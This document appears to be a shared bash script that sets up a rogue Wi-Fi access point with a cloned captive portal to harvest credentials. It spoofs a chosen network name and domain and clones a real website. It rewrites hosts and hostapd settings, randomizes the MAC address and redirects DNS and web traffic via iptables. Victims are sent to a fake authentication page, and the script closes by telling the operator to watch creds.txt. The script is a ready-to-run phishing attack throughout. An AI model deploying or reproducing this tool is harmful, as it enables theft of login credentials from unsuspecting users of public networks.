0365_Captive.sh 4.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137
  1. #!/bin/bash/
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. ___ ____ __ _____ _____ _
  13. / _ \___ \ / /| ____| | __ \ (_)
  14. | | | |__) |/ /_| |__ | | | | ___ _ __ ___ __ _ _ _ __
  15. | | | |__ <| '_ \___ \ | | | |/ _ \| '_ ` _ \ / _` | | '_ \
  16. | |_| |__) | (_) |__) | | |__| | (_) | | | | | | (_| | | | | |
  17. \___/____/ \___/____/ |_____/ \___/|_| |_| |_|\__,_|_|_| |_|
  18. _____ _ _ _ _ _____ _ _ _
  19. / ____| | | | | (_) | | | __ \| | (_) | |
  20. | | _ __ ___ __| | ___ _ __ | |_ _ __ _| | | |__) | |__ _ ___| |__ ___ _ __
  21. | | | '__/ _ \/ _` |/ _ \ '_ \| __| |/ _` | | | ___/| '_ \| / __| '_ \ / _ \ '__|
  22. | |____| | | __/ (_| | __/ | | | |_| | (_| | | | | | | | | \__ \ | | | __/ |
  23. \_____|_| \___|\__,_|\___|_| |_|\__|_|\__,_|_| |_| |_| |_|_|___/_| |_|\___|_|
  24. EOF
  25. echo ""
  26. echo -e ${green}"Which interface do you want to use as your AP NIC? Example: wlan1"${clear}
  27. echo ""
  28. read AP
  29. sleep 1
  30. echo ""
  31. echo -e ${yellow}"Using $AP as your AP interface"${clear}
  32. echo ""
  33. echo -e ${green}"What is the Wifi network you want to spoof? Example: Starbucks Corporate Wifi"${clear}
  34. echo ""
  35. read SSID
  36. sleep 1
  37. echo ""
  38. echo -e ${yellow}"Using $SSID as your spoofed network"${clear}
  39. sleep 1
  40. echo ""
  41. echo -e ${green}"What is the domain you want to spoof on your network? Example: starbucks.com"${clear}
  42. echo ""
  43. read domain
  44. sleep 1
  45. echo ""
  46. echo -e ${yellow}"Using $domain as your spoofed domain"${clear}
  47. sleep 1
  48. echo ""
  49. echo -e ${green}"Enter Website URL To Clone. Example: https://www.starbucks.com"${clear}
  50. echo ""
  51. read URL
  52. echo ""
  53. echo -e ${yellow}"Cloning $URL"${clear}
  54. echo ""
  55. systemctl stop dnsmasq
  56. /usr/bin/chromium-browser --no-sandbox 2>/dev/null
  57. runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
  58. echo ""
  59. echo -e ${yellow}"Cloning finished"${clear}
  60. echo ""
  61. sleep 1
  62. echo -e ${yellow}"$URL Cloned Successfully"${clear}
  63. sleep 2
  64. #Copying Resources To Local Directory
  65. cp Resources/hosts . 2>/dev/null
  66. #cp Resources/dnsmasq.conf . 2>/dev/null
  67. cp Resources/hostapd.conf . 2>/dev/null
  68. cp Resources/index.html . 2>/dev/null
  69. cp Resources/authenticate.html . 2>/dev/null
  70. cp Resources/post.php . 2>/dev/null
  71. #Replacing Variables In Files
  72. sed -i "s/domain/${domain}/g" post.php
  73. sed -i "s/domain/${domain}/g" index.html
  74. #sed -i "s/domain/${domain}/g" dnsmasq.conf
  75. sed -i "s/AP/${AP}/g" hostapd.conf
  76. sed -i "s/SSID/${SSID}/g" hostapd.conf
  77. sed -i "s/domain/${domain}/g" authenticate.html
  78. sed -i "s/domain/${domain}/g" hosts
  79. #Replaceing Resources
  80. rm /etc/hostapd/hostapd.conf 2>/dev/null
  81. mv hostapd.conf /etc/hostapd/hostapd.conf
  82. mv index.html /var/www/html/redirect/
  83. mv authenticate.html /var/www/html/
  84. mv post.php /var/www/html/
  85. mv hosts /etc/hosts
  86. echo ""
  87. sleep 1
  88. echo -e ${green}"Moving Your Index.html File Into Apache"${clear}
  89. echo ""
  90. mv /home/pi/index.html /var/www/html/index.html
  91. echo -e ${green}"Starting Apache"${clear}
  92. service apache2 start
  93. sleep 1
  94. echo ""
  95. echo -e ${green}"Changing $AP MAC Address"${clear}
  96. echo ""
  97. ifconfig $AP down
  98. macchanger -A $AP
  99. sleep 1
  100. ifconfig $AP up
  101. sleep 1
  102. echo ""
  103. echo -e ${green}"Configuring $AP Into An Access Point"${clear}
  104. echo ""
  105. hostapd -B /etc/hostapd/hostapd.conf
  106. sleep 2
  107. echo ""
  108. echo -e ${green}"Bringing Up The Bridge"${clear}
  109. echo ""
  110. ifconfig br0 up
  111. sleep 2
  112. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  113. sysctl net.ipv4.ip_forward=1
  114. echo ""
  115. echo -e ${green}"Copying Redirect Into Cloned Page"${clear}
  116. echo ""
  117. echo "<meta http-equiv="refresh" content=2;URL='http://${domain}/authenticate.html'>">> /var/www/html/index.html
  118. echo -e ${green}"Setting IPTables"${clear}
  119. iptables --flush
  120. iptables -t nat --flush
  121. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  122. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  123. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  124. iptables -t nat -A POSTROUTING -j MASQUERADE
  125. sleep 2
  126. echo ""
  127. echo -e ${green}"Starting Rouge DNS"${clear}
  128. service dnsmasq start
  129. sleep 4
  130. echo ""
  131. echo -e ${red}"Access Point Should Be Up. Watch /var/www/html/creds.txt For Creds"${clear}
  132. echo ""